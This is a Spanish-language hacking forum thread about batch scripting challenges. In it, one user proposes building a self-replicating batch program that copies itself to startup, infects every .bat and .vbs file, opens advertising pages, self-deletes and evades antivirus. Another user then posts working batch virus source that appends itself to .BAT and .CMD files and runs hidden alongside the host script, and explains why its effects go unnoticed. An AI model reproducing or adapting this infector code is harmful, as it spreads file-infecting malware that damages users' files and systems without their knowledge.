REtos batch

Iniciado por ELVJop, 23 Abril 2012, 18:57 PM

0 Miembros y 2 Visitantes están viendo este tema.

Stakewinner00

Cita de: ELVJop en 24 Abril 2012, 20:41 PM
No encuentro el maldito error!!!!!!!!!! Estoy super estresado.

@echo off
:iniciar
if exist C:\re.bat goto :hola
copy "re.bat" "C:\"
if NOT exist C:\re.bat goto :iniciar
start C:\re.bat
del /f /q re.bat
exit

:hola
echo Hola!
pause
exit

No para de decirme no se encuentra el archivo especificado.

PD: Si laguien lo quiere intentar se debe ejecutar como administrador si no no se porque no dega modificarlo.


NO se si es eso pero has probado de poner ""
if exist "C:\re.bat" goto :hola no lo se seguro pero puede ser eso
"C:\re.bat" con comillas igual k if NOT exist "C:\re.bat" goto :iniciar

Puntoinfinito

Yo también soy catalan xD
Después de Edu voy yo, luego elektro o tu... Quiero ver si es capaz de hacerlo
AHORA EN SOFTONIC || CLICK HERE!!
Base64: QWNhYmFzIGRlIHBlcmRlciAxIG1pbnV0byBkZSB0dSB2aWRhLiBPbOkh



HACK AND 1337 : http://hackandleet.blogspot.com
WEBSITE: http://www.infiniterware.

$Edu$

Cita de: ELVJop en 24 Abril 2012, 20:41 PM
No encuentro el maldito error!!!!!!!!!! Estoy super estresado.

@echo off
:iniciar
if exist C:\re.bat goto :hola
copy "re.bat" "C:\"
if NOT exist C:\re.bat goto :iniciar
start C:\re.bat
del /f /q re.bat
exit

:hola
echo Hola!
pause
exit

No para de decirme no se encuentra el archivo especificado.

PD: Si laguien lo quiere intentar se debe ejecutar como administrador si no no se porque no dega modificarlo.

Ah pero te falta aprender mas aun, pensaba que algo de nocion tenias xDD broma jeje, pero es verdad.. xDD aprende sobre argumentos en batch, fijate que hace el %0 y planteate bien lo que queres hacer, no crees bucles innecesarios xD

"Claro como lo de edu es muy facil y lo terminare rapido me metere con tu reto" --> fail xD

ELVJop

estoy muy muy fail... Aviso de que si no lo consigo renuncio al reto... (No renunciare sin perder el ultimo aliento
El dia 3 de mayo esta cuenta sera borrada.

79137913

HOLA!!!

Mmm, queres un reto...

1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt

Uni todo y postea.

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

79137913                          *Shadow Scouts Team*

79137913

HOLA!!!

Que faltaba yo o mi reto?

PD: Agregale al bat que sea fud

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

79137913                          *Shadow Scouts Team*

m0rf

Cita de: Stakewinner00 en 24 Abril 2012, 20:25 PM
Yo tambien soy catalan, en catalan seria numeros prims.

numeros prims xDDDD
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?

Binary_Death

Cita de: m0rf en 24 Abril 2012, 22:40 PM
numeros prims xDDDD


No way! Es "Nombres primers"!


Binary_Death

#38
Cita de: 79137913 en 24 Abril 2012, 22:05 PM
HOLA!!!

Mmm, queres un reto...

1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt

Uni todo y postea.

GRACIAS POR LEER!!!

Respecto a ese reto... yo había hecho algo hace tiempo que servía para infectar ficheros por lotes de una forma decente.

Código (dos) [Seleccionar]

@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
       'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
       'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
       Echo. %v_main%
       Echo.@::i_b_t %v_main%
       Echo.@Set "Str_R=v_ma" %v_main%
       Echo.@GoTo:_%%~1 %v_main%
       Echo.:_ %v_main%
       Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
       Echo.%beg_rg%,%end_rg%,1M %v_main%
       Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%


Lo bueno es que un .BAT infectado así permite que el malware corra oculto mientras se ejecuta el script huésped.
Usa lo que sería una especie de threads en batch, gracias a startb /b que crea una nueva instancia en el programa sin generar una nueva ventana.
De esa forma se genera la instancia del malware y después le da el control al script para su normal ejecución.
Eso también hace que la ejecución del malware pueda durar mucho tiempo sin que se noten efectos, ya que el programa huésped se ejecutará al instante.

Por cierto, la instancia del malware comparte el mismo handle de entrada y salida (y error) del programa huésped, así que se pueden hacer cosas divertidas haciendo por ejemplo que el programa huésped muestre algunos mensajes según las operaciones realizadas.

ELVJop

Aviso aqui que consegui el reto de edu jeje pero no estoy en el ordenador en el que lo tengo :S despues me metere y lo pongo.
El dia 3 de mayo esta cuenta sera borrada.